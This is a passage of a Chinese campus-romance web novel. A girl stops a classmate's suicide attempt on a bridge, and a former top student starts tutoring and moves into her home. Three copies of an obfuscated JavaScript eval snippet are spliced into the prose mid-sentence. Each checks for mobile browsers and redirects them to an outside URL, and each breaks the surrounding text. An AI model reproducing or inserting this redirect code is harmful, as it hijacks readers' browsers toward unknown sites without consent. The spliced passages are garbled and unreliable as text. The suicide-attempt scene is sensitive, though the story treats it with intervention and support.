盛北烁本来只简略地打了个草稿,想着就讲一个半小时,简单说说得了。结果一扫到温知妤的方向,就不自觉想朝那边看。 往日面对摄像机镜头,他都能从容侃侃而谈,可此刻被温知妤静静看着,耳尖莫名有点发烫,心跳快了几分。 盛北烁微微直起身,一改散漫敷衍,还真正儿八经讲起了自己的学习经历。 “成绩出来后,好多人来问我学习方法,其实没什么捷径。” 他抬起薄薄的眼皮,把话筒往下移开一些。“就拿错题集来说,我之前也嫌麻烦,总懒得整理,觉得浪费时间。” “但我同桌是个特别上进的人。”他顿了顿,似有非无往斜后方看了一眼,语调柔软很多。“她对自己永远苛刻,每道易错的知识点和题型,都会认真整理在本子上,绝不允许自己再犯第二次错。” “因为她,我才开始认真对待错题整理。”他的声音放轻了些。 “所以别小看身边人的提醒,该取经取经,比自己闷头死学效率高太多。” 台下的温知妤腹诽:讲方法就讲方法,一口一个某某谁,跟发表获奖感言似的。 他这种人还知道要和别人取经?倒把自己说得还挺虚心的。 半小时过去,虚心的盛北烁顿了顿,视线轻飘飘在温知妤身上停顿了一秒。 “还有心态调整,高三压力大,难免会有熬不下去的时候,可以给自己心里留个念想,就没理由松懈……” 温知妤无聊地往四周扫了一圈,偏偏全场还听得津津有味,老师一脸欣慰,同学满眼崇拜,就她一个人在这儿头皮发麻。 她又往旁边偏头看,噢,面色不好看的还有向初兰,眼睛一直死盯着试卷。 确实,有这听鸡汤的时间,不如多写几道题,但向初兰这样子也太夸张了吧? 温知妤翻了翻自己手里的卷子,拿起笔,打算继续做数学试卷。 可偏偏,少年的声音又慢悠悠传过来,三句不离某某谁,半点儿不遮掩。 温知妤握着笔的手紧了紧,心里暗骂,这也太扰民了,讲个学习方法没完没了还夹带私货。 烦得她瞪了卷子好一会儿,压根没法专心做题,只能认命。 不知不觉,整个宣讲比计划中多了半个小时。台下老师一脸感动,互相对视一眼,心想这孩子以前看着散漫,没想到还挺够意思,今天居然比上回锦城市的采访还认真! * 到了五点钟,盛北烁结束宣讲,长腿一迈就出了教室。 身后带班的章老师立刻笑着追过去,他个儿低,头还秃,硬牵了几根发丝在脑门中央,模样有点儿滑稽。 在过道处,章老师掩不住欣赏,跟在少年旁边,夸他学习不简单,年纪轻轻一点儿不怯场,硬是热情地拽着他胳膊,邀他去办公室坐会儿喝杯茶。 少年垂眸看表,没推辞,慢悠悠地跟着这位秃头老师进了办公室。 办公室凉气很足,茶几沙发摆地齐整。盛北烁把背往后懒懒一靠,章老师跟东拉西扯了一阵,才终于切入正题,身子向前倾了点儿: “盛同学,暑假有没有兴趣来咱们机构兼职代课?以你的水平,完全没问题。” 盛北烁心想谁放着好好的假期不要,来你这儿自讨苦吃。 但还是给面子地说:“谢谢,我考虑一下。” 章老师连忙笑着应下:“好好好,你慢慢想,不着急,老师随时等你消息。” 盛北烁颔首,转而随口问了句:“老师,这边下课时间还和以前一样吗?” 章老师以为他真的在考虑了,说:“对,准点六点,不晚的。” 还有半个小时的时间,盛北烁脑子里莫名冒出来个想等某人放学的念头。 然后立马就被他自己冷着脸压了回去。 等什么等?今时不同往日,是她先翻脸不认人,都已经拒绝你了,你还巴巴贴上去做什么? 又不是特意要等,只是刚好顺路而已。 就算等了,也没什么别的意思。 盛北烁心里别扭了一通,身体却很诚实地没动。他就坐在办公室里,面上有一搭没一搭地应着章老师的话,却早已心猿意马。 * 盛北烁离开后,温知妤终于静下心来,在原位把今天讲的题再看了一遍,刚好整理完,下课铃就响了。 少女少女慢条斯理地将书本、试卷一一收拢进书包,刚拉上拉链,身旁的向初兰已经猛地站起身,一言不发地往外走,抽屉里的书也没拿。她的脸色很沉,镜框后面的眼神漆黑一片。 温知妤想起今天和她闹得的不愉快,犹豫了一下,还是在后面提醒了她一声。“你书忘拿了。” 向初兰却没听见似的径直出去,穿过走廊,快步接近楼梯口。 温知妤抄起书包,小跑着跟了上去,在后面还替她抱着一摞书。路过办公室,余光浅浅一瞥,恰巧看到了少年高挑的身影。 盛北烁怎么还没走? 短暂的念头一闪而过,温知妤忙着追人,也没多想。目光很快收回,继续快步跟了上去。 向初兰和温知妤一样住在家属院,她下了楼,却往地铁站反方向走。 温知妤蹙了蹙眉,预感到事情有些不太对劲。她停了脚步把书包放下,将向初兰的习题书先塞进包里,腾出手来,快步跟了上去。 这时已经六点多了,天色渐暗,街边不少路灯都亮了,温知妤一路跟着向初兰,穿过空旷的小广场,前面路愈发僻静。 少女抬眸,才发现这条路尽头是西江大桥。桥上车流穿梭,两侧的路灯连成一串暖黄的光点,在天色里明明灭灭。 而向初兰这一路的样子实在古怪,既不看路,也不看手机,就垂着头,直直地走,像没有目的地一般,此时前脚已经上了桥面。 桥上车流呼啸而过,右侧专门辟出一段窄窄的人行道。向初兰走到栏杆边,忽然停住,抬手撑在冰凉的栏杆上,半个身子往外侧了出去。 温知妤心猛地一跳,瞬间反应过来,朝她冲了过去。“向初兰,你要做什么?” 向初兰显然没想到她在后面,短暂愣了愣,,随即像是被戳中了痛处,尖声道:“又是你,温知妤你就爱多管闲事,专程来看我笑话是吗!” 她情绪彻底失控,一只脚猛地往栏杆上一翻,身子就要往外倾去。 向初兰疯了一样挣扎,她大概也没想到,温知妤平日一副娇生惯养的大小姐样,此刻环在她腰间的那双手,白皙纤细,却力道惊人,于是狠命扑腾着抓她。 “放手!放手!我不活了!”她声音嘶哑绝望,指甲在温知妤的手背上留下血印。 温知妤感受到疼,眼角生理性泪水,却还咬着牙不放。“到底发生了什么,你给我讲讲。” 痛感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492286|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺得少女眼角泛起生理性泪水,但她半点松劲的意思都没有,纤细的双臂绷得发酸,咬着牙说: “你别冲动……到底发生了什么事,你跟我说清楚,你讲讲啊!” 向初兰还在拼命挣扎,温知妤本就力气不济,掌心冒出细细的冷汗,鼻尖一酸,恐慌和无力感淹没了她。 突然,一只手骨节分明的手扣住了向初兰的肩膀,把她拽了回来。小臂线条利落,因为用力隐隐冒了青筋,温知妤抬头看,盛北烁正垂着眼,看不出神色。 向初兰发泄一通没了力气,肩膀迅速起伏,呜呜哭道:“我在哪里都很倒霉!连想死都有人要妨碍我!” “这次分班考,我没日没夜地准备了那么久,就想考进A班,他们凭什么拦着我?我的前途就这么毁了!” 温知妤上前半步,轻轻拍了拍她的肩,问:“是谁要为难你?” 向初兰向初兰埋着头,抽泣了好久,终于开口:“他们是我老家南县的人,从初中就看我不顺眼,因为我成绩比他们好,就一直欺负我,给我使绊子。” “我拼了命考上这边的高中,以为离他们远了,好好学习就能彻底摆脱,就能安稳读书,可结果呢……” 温知妤问:“你为什么不告诉老师?” “你是大小姐,你想要的东西都有,问我这个,也太可笑了。我本来就是乡下来的,明面上要和他们有牵扯,多少人瞧不起我?” 向初兰红着眼睛,转头朝温知妤吼道。 盛北烁蹙眉,把她往下按住,向初兰吃痛地叫了一声。 “你现在这样做,你以前的努力都白费了知道吗?”温知妤手上的痛感还在蔓延,她声音微颤,却少见地带了点愠意。 向初兰气力耗尽,脸上泪痕交错,眼神空洞地望着江面。 “你的前途是你自己的,不是一场考试就能决定,也不会断送在别人手里。” 温知妤侧过头,朝盛北烁示意了一眼,少年眸光微淡,看懂了她的意思,便松开手。 少女上前,扶向初兰直起身子,从包里翻出了她落下的笔记本。 “你的字很好看。”温知妤轻声说,“你能写出这么漂亮的字,能为了目标拼尽全力,你的前途,也定会和它一样,干净又光明。” 向初兰低着头,长长的刘海被汗浸湿,无力贴在耳畔。她手指攥得发白,慢慢蹲下身,捡起了自己的书。 桥上凉风习习,温知妤没再多说,掏出手机叫了车。 很快,出租车就停在了家属院门口,向初兰抱着书率先下车,她家就在离大门不远的二栋,走几步路就能到。 温知妤转身刚要往自家楼栋走,向初兰哑声叫住了她。 “今天对不起,还有..谢谢你。” 少女顿了顿,嘴角微微上扬,头也不回地挥了挥手,脚步轻快地往小区里走。 盛北烁不远不近在她身后,一前一后,路灯把两人的影子拉得错落交叠,气氛安静得有些微妙。这时,温知妤才想起前些天的不愉快。 少年单手插在裤袋里,慢条斯理走着,目光却几次落在她手背上。 那双手生得白皙纤细,现在却被抓出了好几道泛着血痕的口子,不知为什么,他觉得格外扎眼。 “温知妤,你是不怕疼的吗?” 盛北烁蹙眉,有些不耐地率先开口。“手不想留疤的话,跟我去买药。” 12. Chapter12 2018/7/20 “怕疼还要逞强,笨成这样。” ——盛北烁日记 * 家属院出门左拐,往商业街区的方向走,路口处就有一家卫生服务站,大约五六分钟就能走到。 温知妤想起家里没有碘伏,听盛北烁这么一说,也就跟了去。 诊所晚上八点关门,目前七点多,店里患者已经很稀少了。看店的是朱医生,一位留着蘑菇头的中年女人,脸上总带着温和的笑。 因为距离近,她平时跟盛北烁小姨来往不少,算得上是熟人。 盛北烁推开门,让后面的少女先进,他眉眼还是一副散漫随性的模样,浅灰体T恤松垮,衬得肤色冷白,勾勒出挺拔的肩线。 他前脚进,身后的温知妤就跟着进来了,垂着手跟,鹅蛋小脸,杏眼乌黑圆润,鼻尖还带了点红。 朱医生抬眼一瞧,先是瞥见盛北烁急匆匆的步子,再扫到他身侧跟着的小姑娘,笑着打趣:“小烁,怎么还带了个女孩来?” 盛北烁没接这话,不动声色往旁边让了让。“朱姨,她受伤了,麻烦您处理一下。” 朱医生的目光落到少女的手上,用明黄灯光一照,伤口格外触目惊心,她当即哎哟了一声:“瞧瞧这手,怎么搞成了这样,快过来冲洗一下!” 盛北烁侧身走到饮水机旁,接了小半盆凉开水。 水流过伤口,清凉里带了些细细的刺疼,温知妤忍不住蹙眉,鼻尖更红了。 朱医生看在眼里,一边转身去药柜拿碘伏和红霉素软膏,一边回头嗔怪盛北烁:“你看看你,跟小女朋友出门都不知道护着点,让人家受这罪。等着,我去拿纱布,你好好给人家上药,轻点啊。” 温知妤坐在长条椅子上,闻言说:“阿姨,我们不是……” 盛北烁似乎没听见,拿着小药瓶走来,在少女面前蹲下身,不知道是不是错觉,温知妤感觉他那散漫劲儿淡了不少。 “伸手。” 他薄薄的眼皮一抬,温知妤迟疑着伸出左手,上面几道抓痕很深,细细的小血珠渗了出来。少女悄悄吸了一口气,做好了疼的准备。 然而没有预料中那么疼,盛北烁少见地有耐心,修长的指节很稳,蘸着碘伏慢慢绕着伤口擦拭,又薄涂了一层药膏,像对待珍宝一般。 不知为什么,温知妤心口没由来地一慌,伤处反而觉得有点儿痒。 轮到右手时,温知妤小拇指微微缩了缩,小声说:“还是我自己来吧。” 少年语气淡淡:“你这手都肿了,不怕疼就试试?” 他说着就真就好脾气地把棉签递了过来,温知妤伸手去接,指尖不经意擦过他的手。 温知妤本就疼得有些发颤,控制不好力道,一沾到右手,她就吃痛地“嘶”了一声。 盛北烁看着她这副模样,喉间几不可察地紧了紧,没再多言。只另取了一根棉签,重新用骨节分明的手握住她的腕骨,低头给她上药。 温知妤垂眸看着他,目光不觉在少年眼下的小痣那儿多停留了一会儿。 少年视线扫过她的小拇指,面色如常,只可能是灯光角度的原因,他眼尾似乎有些红。 这人认真的时候,还挺顺眼的。 * 回家的路上,温知妤背着书包走在前面,穿过商业街的小巷,少年在身后,气氛安静,想起晚上那些事,她开口:“刚才谢谢你。” 盛北烁沉默了一秒,就在温知妤以为他要说‘没关系’时,却见这人别开脸,闷着声撂下一句:“谢什么,又不是特意帮你。” 温知妤说:“好吧。” 少年顿了顿,补了句:“下次遇见这种事,顾着点自己,别莽撞。” “周边连个人影都没,她情绪疯成那样,你就敢直接冲上去扯,要是我不在,万一她做出更出格的事,伤着你谁管?” 温知妤说:“我那时候没想别的……” “温大小姐,我知道你热心,也没说你做得不对。” “但你以后能不能多为自己想点?总把别人的事搁前头,自己的事倒半点不上心。 温知妤愣了愣,她记不起曾经的事,复学这段时间,听多了旁人的议论,要么说她仗着家境好高高在上,要么说她性子冷不好相处,这还是第一次在别人那听到好话。 可是她不一直都这样吗? 温知妤向来不在意旁人的评价,可此刻听着盛北烁的话,心里却莫名明朗了许多。 她抬眼,看着少年故作严肃的侧脸,乖乖点了点头:“知道了。” 借着夜色的遮掩,盛北烁垂眸看她,少女鼻尖的红还没有散去,此刻又满脸写着认真,他偏过头轻嗤一声: “既然你之前说我们两清了,可我现在又帮了你一次,怎么办?” 温知妤显然没想到他会提前之前的事,说:“抱歉,那天是我心情不好,但是我真的没有生你的气。” 少女想了想,说:“这回算我欠你一次,以后你有需要,我也帮你。” 盛北烁气笑,看着温知妤一脸认真,心下怀疑,她什么理解能力? 他懒得再绕弯子逗她,直接了当问:“你以后能不躲着我了吗?” 温知妤犹豫了一下。 盛北烁依然是一副漫不经心的模样:“做朋友也不行?” 温知妤搞不懂他的脑回路:“可…以?” 盛北烁哼笑一声,转头接着往前走,温知妤也迈开腿‘哒哒’跟上,与他并肩而行。 “对了盛北烁,你今天不是早就走了吗?为什么也在桥那里啊?”她歪头问。 少年没有看她,一脸满不在意:“闲的没事,往那边转路。” 温知妤闻言,也没有多问。“哦。” 好一会儿,到了家属院的闸门,温知妤正准备拉开包链找卡,盛北烁瞥了一眼她裹了纱布的手,从兜里掏出卡,刷了一下,随后往旁边侧身,示意少女先进去。 于是又成了温知妤走在前面,盛北烁慢悠悠跟在身后,晚风吹来路边的栀子花香,她心里忽然觉得好安稳。 快走到七栋前的台阶时,少年突然说:“你要在西江路那儿补课?” 温知妤说:“嗯,去试听了一天,感觉老师还讲得挺细致,打算暑假去补。” 她想起白天盛北烁的宣讲,心里犯起了嘀咕,心想他该不会也是被机构收买了,特意来打听她的报名意向,再拉一个生源吧? “行。”盛北烁弯了弯嘴角,漾开一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492287|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹淡淡的笑意。“我正好也要去。” 温知妤一脸懵:? “你都毕业了还要学?”她好奇地问。 盛北烁眼神淡淡,漫不经心地说:“去教书。” …… 太装了他! 她抿了抿唇,一时竟不知道该接什么话。 * 薛路听到‘咔嗒’的开门声,就急急从厨房出来,正皱眉想问话,看到少女缠着纱布的手,又吓了一跳。 “妤妤,你的手怎么了?” “抱歉。”温知妤说,不想让她担心和多问。“回来路上不小心摔了一跤,简单包扎了一下,没什么大事。” 薛路:“都包成这样了还叫没事?你这孩子,怎么总是这么不注意,走路都能摔着到手,你那么喜欢钢琴,万一伤得重了,要是以后都不能弹钢琴了怎么办? 温知妤就知道她会这么说,敷衍地‘嗯’了一声,心里泛起酸涩。 薛路叹了口气,女儿曾经听话懂事,现在却变了,面上答应得好听,实际不听。 “行了,我给你留了饭,先垫垫肚子吧。”她把盘子放桌上。” 温知妤应了一声,扒拉几下饭菜,心里却没什么胃口。薛路拉了把椅子坐在她旁边,但没有吃饭,一副欲言又止的模样。 “妈,你有事就直说吧。” “妤妤,那天你跟我说的话,我翻来覆去想了很久,也想明白了……我和你爸,过不下去了,我决定和他离婚。” * 盛北烁回到家,把右肩挎着的黑色包一放,另一只手松了松校服领口,正弯腰在玄关换鞋,碎发随意垂在额前。 盛柔刚从浴室出来,头上还裹着天蓝色干发巾。见了他,手上吹风机“啪”一声按在洗手台上,几步冲到客厅: “你小子又打球去了?说了六点钟回来吃饭,结果人影儿都没见! 盛北烁直起身,面不改色:“去跟老章谈事,暑假我去他们机构教高一。” “就你?”盛柔眼睛都瞪圆了,头上干发巾晃了晃,差点没整个儿掉下来。 “你不是一向不爱去补课班吗?现在毕业怎么还反转了?还是别去了误人子弟了吧!” 阮振国正翘着二郎腿,躺沙发上看晚间新闻,闻言转过了头,笑道:“哎,你可别损小烁了。咱儿子数理化接近满分,教高一那还不是绰绰有余。” 他推了推眼镜,打量一番玄关处的少年,“不过小烁,你好好假期不要,怎么突然想去‘打工’了?” 盛北烁倒了杯水,仰头喝了一大口,径直往卧室走去,淡淡说:“缺钱。” 盛柔懵了,看着自家儿子的背影,转头和阮振国对视一眼。 “听见没?”盛柔压低声音,用下巴指了指卧室方向,“两个字,‘缺、钱’。” 阮振国摸了摸下巴:“难道真生我俩的气了,出国玩没带他?” 盛柔摆了摆手,把湿毛巾搭在臂弯。“算了,这样也好。过两天咱俩就去日本了,省得他一个人待在家里无聊,找点事做,倒充实些。” 阮振国若有所思地点点头。但自家儿子的性子他还不清楚?再怎么无聊,也不至于跑到补课班去吧? 不正常,这太不正常了。 13. Chapter13 * 第二天下午,温知妤顺着人流出了地铁站口,轻快地补习班的方向走了几步,脑子里还在过着上午补习的物理知识点。 忽然,一通微信彩铃打断了她的思绪。少女低头拉开粉色背包的链条,摸索着拿出手机,屏幕上显示着余葵的头像。 “温温,对不起!昨晚我睡太早了,你说的是真的吗?盛北烁暑假要和你在一个机构?” “对。” 昨天温知妤知道了这件事,晚上就没忍住给余葵发信息说了。如果在一个机构,又住得近,就算是普通朋友也难免会上下同路,她不知道该怎样自然相处,所以才找余葵想求个应对方法。 “不是我说啊温温,你这刚一去,他就跟着要来,我看他不会真喜欢你吧?” 温知妤叹了口气,说:“我现在不想考虑这些事,也明确跟他说了,不会的。” “那这有什么好躲的?难不成你也……?”余葵拖长语调,恍然大悟。 “小葵花你欠扁了是不!”温知妤一边举着手机快步往楼上走,一边想着要反驳。 话到嘴边,人已经到了补习班的前台,盛北烁正在前面走廊处靠着,低头看着什么。 温知妤立马说:“好了好了,先不说了,我到补习班了。” 她挂断电话,一脸镇定从盛北烁旁边路过,周遭似有若无飘来淡淡的皂角香,温知妤余光往他那边一瞥,少年依旧垂着眸,身形清瘦挺拔,半抱着几本教案和习题。 旁边班级牌上写着‘新星一班’。温知妤听说过,这个代号应该是高一。 温知妤没有多停留,背着包到了自己的教室,她来时够早,不到两点钟,大多数同学暑假都是踩点来,这会儿距离上课还有半小时呢。 教室空荡荡的,少女看向自己的位置。阳光从窗外进来,在课桌上洒下光影,只有她那一排坐了个人,正低头写着题,是向初兰。 温知妤安静地走了进去,没打扰她,把自己的书包一放,也拿出了一套物理题。 向初兰侧过头,看到她缠了纱布的手,有些不自然地开口。 “……对不起,我以前经常找你茬,可你为什么要帮我?” “换做是任何人,我都会这样做的。”温知妤笔尖顿了顿,淡淡说:“生命很宝贵,如果你经历过濒死的感受,就一定不会再想做傻事。” 向初兰沉默良久,看着温知妤亮晶晶的眼睛,突然觉得自惭形秽。“温知妤,我这种人是不是很招人厌?” “普通的家庭,长得也好一般,学习就算尽了力也总是运气不好。” 温知妤说:“这些都不是你的缺点,你并不差,以后也会有更好的人生。” 向初兰瞳孔缩了缩,正准备说什么,班里就吵吵嚷嚷进了几个同学。低头看表,已经接近开课的时间了。 下午的数学课像打了场硬仗,温知妤被好几道没见过的难点大题轮番轰炸,从教室出来后,感觉整个人脑子都不太好使了。 她背着包穿过走廊,快到对面新星一班时,一眼就瞥见了那个高挑的身影。盛北烁也正好下课,少年微微侧头,侧脸线条流畅好看,站在人流里,想不注意都难。 盛北烁恰好往这边看来,温知妤今天穿了件宽松的浅绿色短袖,阔腿裤,整个儿看上去瘦瘦的。 其实他下午上课前就看见温知妤了,正等着她主动过来打招呼呢,结果直接被人无视了。 没、良、心。 对视上了,温知妤这下不能直接跑路,只得跟盛北烁并肩而行,自然引来了不少好奇的目光。 两人一同到了地铁口,盛北烁低头看她突然说: “我翻了一下他们的教案,这机构重在讲难点题,不适合提高基础。” 温知妤的太阳穴还带有余痛,挺赞同地说:“今天讲得确实挺深。” 少年顿了顿,侧过头看她:“那,你弱势学科如果不会基础题,随时来找我。 她颔首,说:“好,谢谢。” 晚上六点正是高峰期,地铁站人特多,他俩挤入车厢,根本找不到座位,只能随着人流站着,刚好面对面。温知妤进退不得,只能低头看脚尖。 地铁的风声呼啸而过,刹车时带着惯性,温知妤被旁边的人一挤,整个儿撞到了盛北烁身上。 她鼻尖碰到了少年干净的衣料,淡淡的皂角香迎面而来,温知妤感觉到他僵了僵,但双手还是下意识地抓住了他的衣袖。 要是后面的时间,他们都要这样一起回家属院,那也太尴尬了点。温知妤开始考虑,要不还是把司机陈叔请来算了。 * 盛北烁一回家,就看见硕大个行李箱瘫在课堂中间,二老正忙着收拾衣物。 盛柔今天难得高兴,连带着语气也软了点,擦着手从卧室走出来:“饭做好了,在厨房里温着,你要饿了就先吃。” 盛北烁倒不饿,只是靠在门边看了半晌,二老一副万事俱备的阵仗。他眉梢一挑,戏谑道:“怎么,你们这是要在日本定居,不打算回来了?” 阮振国正往行李箱塞东西,闻言嘿嘿一笑:“我无所谓,几件衣服就够,主要是你妈东西多。” 盛北烁在沙发上坐下,有一搭没一搭转着耳机线,漫不经心地说:“行,合着就我一个人留守在家呗。” 盛柔又往箱子里塞了条裙子,转过头说。“小烁啊,我们当然考虑过你。” 她一边整理箱沿的衣物,一边说:“之前跟你薛姨一说,她听到我们要走一个月,就让你搬去她家住。反正你温叔暑假不回来,家里正好有空房间,都收拾好了。” 盛北烁指节的动作顿了顿,眼里错愕:“你们多久说的?” 盛柔自然地说:“就你去补习班的时候啊。” 少年偏过头,语气别扭:“……还是算了吧,这不太好。” “为什么?” 盛柔停下手里的事,诧异地看了他一眼。“我看你平时跟妤妤关系也挺好,我想着方便,就先替你答应下来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492288|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 这个点薛路还在店里,温知妤在冰箱拿了一碗糖番茄,就回到卧室,打算边吃边整理一下物理的错题。 少女翻开试卷,把今天讲的一一在本子上回顾了,其他都还好,就是最后一题有个步骤不太懂。 温知妤自己想了一会儿,还是没什么头绪,她摸出手机,把这题给盛北烁发了过去。 过了五分钟,对面还没有回复。温知妤没事儿干,就打开了一中校内论坛。 她往下滑了几条,居然还看见了条捞人的帖子,点赞量挺高的。 温知妤点了进去,映入眼帘的图片,是两个人的背影,她蹙眉,瞧这衣着和身高差…不就是她和盛北烁吗?! 【风华绝代鸡大王】:捞个帅哥!我在某补习机构上课,隔壁班下午突然来了个帅哥老师啊啊啊看着挺年轻的,据说还是今年一中出的状元,当时怂不敢要微信,现在后悔拍大腿,只能到这来问问![哭] 温知妤两眼一黑,倒不是在意盛北烁,主要是她现在才发现,自己背面书包拉链没拉上...实在社死,不过评论区好像没人在意这个。 :哎这背影一看就很有氛围感啊,感觉是个帅哥,同蹲! :一中状元我知道,叫盛北烁,他居然在机构教书了??那闺蜜我俩得去!@疗伤烧肉粽 :只有我好奇旁边的女生吗?皮肤看着挺白的,一身名牌,不会是他女朋友吧! 然后立马就有人接着回复,说肯定不是,盛北烁出了名的冷淡,之前那么多女生追他,一个也没成。 温知妤在这条评论顿了顿,心里犯嘀咕,他人很冷淡吗?没看出来。 不过这些都是什么鬼啊!没经过别人允许就偷拍!少女有些不高兴地摸了摸脸,反手就把帖子举报了。 温知妤刚操作完,微信就收到一条新消息。 盛北烁发来了张图片,居然还把她这道题干都认真地手抄下来,附上了步骤和思路,字迹凌厉好看,笔锋张扬,像极了他本人的性子。 【DAWN】:看得懂吗?还不会就给我打视频。 温知妤把图片放大了看,正推演着步骤,微信就又弹出了条消息,是薛路发过来的。 【薛路】:妤妤,差点忘了跟你说,你盛姨他们要出趟远门,我想着帮她个忙,就让她儿子来咱家住一段时间。 温知妤懵了。 她反应过来后,迅速敲字:我可以拒绝吗? 【薛路】:我都说定了,这不挺好的?他来还正好可以给你辅导学习。[笑脸jpg.] 薛路决定的事,小到吃食,大到未来的路线规划,温知妤都从未反抗成功过。就算她不愿意,薛路也会潜移默化意图改变她的想法。 少女沉默半天,最终放弃挣扎:……那他多久过来? 【薛路】:后天,记得好好跟人相处啊。 温知妤放下手机,她向来不爱热闹,更别说家里突然多出一个人。 但这次,心里竟没有预想中那么排斥。 14. Chapter14 2018/7/22 “她说不介意。” ——盛北烁日记。 * 温知妤得知这个消息后,就啪啪给余葵发消息。 【YUYU】:小葵花求助!如果有个男生突然要在你家暂住一段时间,应该怎么相处才好啊? 余葵向来喜欢晚上冲浪,果不其然,上方很快出现了‘对方正在输入中’。 【小葵花】:一开始应该都挺尴尬的吧,我那继兄刚搬过来时,我天天跟他打时间差躲着。不过相处久了也就那样,慢慢就习惯了~ 【小葵花】:等等!你突然问这个干嘛?谁要和你同居啊? 温知妤犹豫了一下,还是实打实地输入:盛北烁。 这三个字犹如一阵惊雷,下一秒,余葵又惊讶又好奇的语音甩过来。 “我去我去!!你俩进展这么快吗?怎么都到了要同居的地步了!” 温知妤无奈,“想什么呢,只是暂住一段时间。” “哦哦哦,这样啊,吓我一跳。” 余葵那边有些吵,隐约能听见许多说笑声,她走到了稍微安静点的地方,声音才清晰了些。 “我正跟老家几个朋友在路边吃夜烧烤呢,吵得很,先不跟你聊了啊~有什么新情况明天务必第一时间跟我汇报,不许藏着掖着!” 温知妤回了个好,跟她告了晚安,便起身去洗漱了,晚上躺在床上时,窗外的虫鸣一声接一声,她反复想着这件事,睡意忽然变得很淡。 * 第二天下午的数学课,数学何老师正在黑板上画出复杂的立体几何,一切寻常得像是任何一个冗长而沉闷的下午。 何老师的课向来有力,粉笔把黑板刮得吱嘎吱嘎响。而温知妤神色恹恹,脑中没由来地思虑起同居的事。 会不会很尴尬啊? 直到向初兰侧头戳了戳她胳膊,说:“温知妤,翻页了,老师都讲到第十八题了。” 温知妤才勉强回神,她笔尖的速度快了些,仿佛这样就能借此收回飘飞的注意力,然而她并没有成功。 不远处,盛北烁照旧等在老地方。 这人懒洋洋地抱着胳膊,靠墙在一班门口站着。今天穿着还是宽松简单,但十分高挑显眼。 前面几个手挽手路过的女生频频侧目偷看,他却一脸冷淡,目光散漫地朝温知妤这边看,别的都像没在意似的。 温知妤到了他跟前,少年淡漠的嘴角漾起几分笑意,两人一同下楼,楼道内很嘈杂,温知妤却感觉只剩他俩的脚步声。 她心里还惦记着昨天的事,憋了一路想找个话题,终于率先开口:“你多久搬过来啊?” 问完又觉得好蠢,不就是明天嘛,这么直白,像显得她很着急一样。 盛北烁垂眸看她,少女板着个脸,一副忧心忡忡的模样。 他顿了顿,说:“温知妤,其实都是我妈瞎操心提的,你要觉得不方便,我就不过去了。” 温知妤:? 不是,她都纠结失眠整整一天该如何相处了,盛北烁忽然一句不来,这是在玩她呢? 温知妤抬头瞪他,少年神色没了平时的散漫,淡褐色的眸子定定望着她,不像是在开玩笑。 她移开视线,自顾自快步往前走了一段,闷声说:“我没有介意。” 声音不大,却清楚地落在盛北烁耳中,立马快步追上她。“真的?” 温知妤眼也不抬,盯着脚下的路。“……但是你也不能白来,得给我讲题。” 盛北烁愣了愣,眼底笑意更深,两人谈话间就进了地铁站。 今天是周末,恰逢周末,站内不像工作日那样人挤人,宽松了不少。温知妤走得随意,瞥见自己鞋带散了,便不慌不忙弯腰系好。等她重新直起身时,眼前忽然短暂地黑了一瞬。 可能是因为这几天学习太忙缺乏锻炼,再加上昨晚失眠没睡好,蹲久了猛地一站,低血糖又犯了。这种情况出现过几次,她她都习惯了。 盛北烁在旁边停步,始终留意着她。少女唇色有点发白,见状,他拉开黑色挎包,修长的手指往里翻了翻,居然还摸出了袋吃的。 温知妤接过一看,柠檬味泡椒凤爪。 看着盛北烁认真的样子,当即噗嗤一声笑了。 “盛北烁,哪有拿这个治低血糖的啊?” 少年面不改色,语气自然的很:“你不最喜欢吃这个,以前还给过我。” 温知妤“噢”了一声,虽然她并不记得还有这事,不过想想那种场面也挺好笑的。地铁上不能吃东西,她就放回了包里。 刚收好,盛北烁又从另一侧口袋里摸出一块巧克力,漫不经心递给她。 不早拿出来。 温知妤剥开糖纸,甜味在舌尖蔓延,她很快缓了过来。再侧头看少年,懒散地靠在车门旁,忽然觉得有点反差。 这样的人,也会随身携带小零食? * 天色渐沉,窄小的楼道里灯光昏黄,盛北烁摸出钥匙开了门,又差点没撞上门口的两个行李箱。 他暗骂一声,没好气地带上了门。 进屋感觉家都空了,他往右边的桌子一看,倒满满当当摆着丰富的菜。 吃这么好,敢情就是临别餐了。 阮振国端了个盘子从厨房走出,瞧见他:“哟,回来了。” “愣着干嘛,赶紧过来。”盛柔已经坐在餐桌前,朝他抬了抬下巴,语气干脆。“我提前给你薛姨说好了,把晚饭吃完你就可以搬东西过去,免得明天一早赶时间,去太早打扰人家。” 